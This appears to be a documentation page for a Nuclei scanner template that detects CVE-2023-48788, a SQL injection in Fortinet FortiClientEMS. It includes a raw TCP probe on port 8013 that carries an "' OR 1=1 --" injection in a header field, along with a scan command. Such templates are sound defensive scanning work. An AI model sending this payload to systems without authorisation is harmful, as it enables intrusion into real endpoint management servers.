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Fortinet Forticlient Endpoint Management Server - SQL Injection

ID: CVE-2023-48788

Severity: critical

Author: James Horseman,ItshMoh

Tags: cve,cve2024,sqli,fortinet,kev

Description

Section titled “Description”

A improper neutralization of special elements used in an sql command (‘sql injection’) in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.

YAML Source

Section titled “YAML Source”
id: CVE-2023-48788


info:
  name: Fortinet Forticlient Endpoint Management Server - SQL Injection
  author: James Horseman,ItshMoh
  severity: critical
  description: |
    A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-48788
    cwe-id: CWE-89
    epss-score: 0.73287
    epss-percentile: 0.98304
    cpe: cpe:2.3:a:fortinet:forticlient_enterprise_management_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: forticlient_enterprise_management_server
  tags: cve,cve2024,sqli,fortinet,kev


tcp:
  - inputs:
      - data: |
          MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1 --{}\n
          IP=127.0.0.1\n
          MAC=00-50-56-11-22-33\n
          FCT_ONNET=0\n
          CAPS=32767\n
          VDOM=default\n
          EC_QUARANTINED=0\n
          SIZE=    {}\n
          \n
          X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMDgyCkFWQUxTSUdfVkVSPTAuMDAwMDAKVlVMRU5HX1ZFUj0yLjAwMDMyCk9TVkVSPU1pY3Jvc29mdCBXaW5kb3dzIFNlcnZlciAyMDE5ICwgNjQtYml0IChidWlsZCAxNzc2MykKQ09NX01PREVMPVZNd2FyZSBWaXJ0dWFsIFBsYXRmb3JtClJTRU5HX1ZFUj0xLjAwMDIwCkFWX1BST1RFQ1RFRD0wCkFWQUxFTkdfVkVSPTAuMDAwMDAKUEVFUl9JUD0KRU5BQkxFRF9GRUFUVVJFX0JJVE1BUD00OQpFUF9PRkZORVRDSEtTVU09MApJTlNUQUxMRURfRkVBVFVSRV9CSVRNQVA9MTU4NTgzCkVQX0NIS1NVTT0wCkhJRERFTl9GRUFUVVJFX0JJVE1BUD0xNTU5NDMKRElTS0VOQz0KSE9TVE5BTUU9Q1lCRVItUkVUUUIxRkxQCkFWX1BST0RVQ1Q9CkZDVF9TTj1GQ1Q4MDAxNjM4ODQ4NjUxCklOU1RBTExVSUQ9NTczMTUzMkItMkUyOC00OEYwLUFDQ0YtNDI4MEU0ODNFRTE0Ck5XSUZTPUV0aGVybmV0MHwxMC4wLjQwLjg1fDAwLTUwLTU2LTg0LTMzLWIyfDEwLjAuNDAuMjU0fGY0LTRlLTA1LTRmLTZjLTQ4fDF8KnwwClVUQz0xNzEwMjcxNzc0ClBDX0RPTUFJTj0KQ09NX01BTj1WTXdhcmUsIEluYy4KQ1BVPUludGVsKFIpIFhlb24oUikgU2lsdmVyIDQyMTUgQ1BVIEAgMi41MEdIegpNRU09MTIyODcKSEREPTk5CkNPTV9TTj1WTXdhcmUtNDIgMDQgZWQgMmQgNjQgZTggMGIgMTQtNDUgZTkgZTQgZjYgNWEgYzcgNjcgODIKRE9NQUlOPQpXT1JLR1JPVVA9V09SS0dST1VQClVTRVJfU0lEPVMtMS01LTIxLTI2MTY1Njk4OTQtNDUzOTU0ODcxLTE0NTg4MDY4Mi01MDAKR1JPVVBfVEFHPQpBREdVSUQ9CkVQX0ZHVENIS1NVTT0wCkVQX1JVTEVDSEtTVU09MApXRl9GSUxFU0NIS1NVTT0wCkVQX0FQUENUUkxDSEtTVU09MAo=\n
          X-FCCK-REGISTER-END
          \r\n
          \r\n
    host:
      - "{{Hostname}}"
    port: 8013


    matchers:
      - type: word
        part: body
        words:
          - "KA_INTERVAL"
# digest: 4a0a00473045022100d4ceed0aedffef952a81faebb3d1c5441fc01e528a768f7e3d99ef082d1d1d740220476651d0c59ed9ce575d579c0db1768d5c746a188bb668f03c37588039422c9b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "network/cves/2023/CVE-2023-48788.yaml"

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